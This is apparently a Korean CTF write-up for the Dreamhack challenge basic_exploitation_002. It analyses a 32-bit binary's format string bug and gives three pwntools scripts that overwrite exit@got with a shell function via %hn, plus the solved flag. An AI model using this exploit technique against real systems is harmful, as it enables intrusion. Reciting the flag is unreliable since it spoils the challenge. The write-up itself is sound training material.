보호 기법 확인
- 32bit 바이너리
- partital relro
- 카나리 없음
- nx bit 존재
- pie 없음
바이너리 실행
- 단순히 사용자의 입력을 받아 출력해줌
소스코드 분석
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
main 함수
- buf 배열을 0x80(128)만큼 할당
- read 함수로 사용자의 입력을 0x80만큼 받아 buf 배열에 저장
- BOF 취약점은 발생하지 않음
- printf함수로 buf 값을 출력해줌
- 원래는 포맷스트링을 갖춘 형태로 이용해야 함!!→ FSB 취약점 발생
- printf("%s", &buf);
- exit 함수의 got 주소를 get_shell 주소 변조해주면 바이너리가 종료되지 않고 shell을 실행해줄 것으로 보임!
get_shell 함수
- system 함수로 shell 출력
- flag를 획득할 수 있는 함수!
바이너리 실행
- FSB 취약점이 발생할 경우 입력 값에 포맷스트링을 넣어주면 입력 값이 저장되는 offset을 확인할 수 있음
- 입력 값은 32bit 바이너리이므로 4byte 단위로 입력해야 함
- 입력한 aaaa가 바로 뒤(1번째 offset)에 저장되는 것을 알 수 있음
GDB 정적분석 - 함수 주소
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x080483d8 _init
0x08048410 read@plt
0x08048420 printf@plt
0x08048430 signal@plt
0x08048440 alarm@plt
0x08048450 puts@plt
0x08048460 system@plt
0x08048470 exit@plt
0x08048480 __libc_start_main@plt
0x08048490 setvbuf@plt
0x080484a0 __gmon_start__@plt
0x080484b0 _start
0x080484e0 __x86.get_pc_thunk.bx
0x080484f0 deregister_tm_clones
0x08048520 register_tm_clones
0x08048560 __do_global_dtors_aux
0x08048580 frame_dummy
0x080485ab alarm_handler
0x080485c2 initialize
0x08048609 get_shell
0x0804861c main
0x08048650 __libc_csu_init
0x080486b0 __libc_csu_fini
0x080486b4 _fini
- get_shell: 0x8048609
GDB 정적분석 - exit 함수
pwndbg> disass exit
Dump of assembler code for function exit@plt:
0x08048470 <+0>: jmp DWORD PTR ds:0x804a024
0x08048476 <+6>: push 0x30
0x0804847b <+11>: jmp 0x8048400
End of assembler dump.
- exit@got: 0x804a024
Exploit Algorithm
💡 exit@got(0x804a024) → get_shell address(0x8048609)
- fsb → %n을 사용하여 함수 주소를 10진수로 변환한 개수로서 생각하고 넣어주면 됨
- 0x8048609 → 134514185를 1번째 offset에 맞춰 넣어주면 되는데, 숫자가 너무 크기 때문에 반을 나눠(%hn) 넣어줌
- 0x0804/0x8609 나눠서 넣어줌
- 나눠 넣더라도 전체 주소의 10진수 변환 값과 같아야 하므로 약간의 연산이 필요함
- (exit+2) + exit의 got 주소를 반 나눠 명시 → 각 4바이트씩 총 8바이트
- 0x804 - 8 = 2044
- 0x8609 - 0x804 = 32261
Exploit - Pwntools
from pwn import *
p = remote('host1.dreamhack.games', 15654)
e = ELF('./basic_exploitation_002')
#exit = 0x804a024
exit = e.got['exit']
payload = p32(exit+2) + p32(exit) + '%2044c%1$hn%32261c%2$hn'
p.send(payload)
p.interactive()
Exploit - Pwntools(format)
from pwn import *
p = remote('host1.dreamhack.games', 15654)
e = ELF('./basic_exploitation_002')
exit = e.got['exit']
payload = p32(exit+2) + p32(exit)
payload += '%{}c'.format(0x804-0x8)
payload += '%1$hn'
payload += '%{}c'.format(0x8609-0x804)
payload += '%2$hn'
p.send(payload)
p.interactive()
Exploit - Pwntools(fmtstr)
from pwn import *
p = remote('host1.dreamhack.games', 18335)
e = ELF('./basic_exploitation_002')
exit = e.got['exit']
get_shell = e.symbols['get_shell']
p.sendline(fmtstr_payload(1, {exit: get_shell}))
p.interactive()
flag
🔑 DH{59c4a03eff1e4c10c87ff123fb93d56c}
'Wargame > Dreamhack' 카테고리의 다른 글
[Dreamhack] Basic_Exploitation_003 (0) | 2022.10.14 |
---|---|
[Dreamhack] Basic_Exploitation_001 (0) | 2022.10.14 |
[Dreamhack] Basic_Exploitation_000 (0) | 2022.10.14 |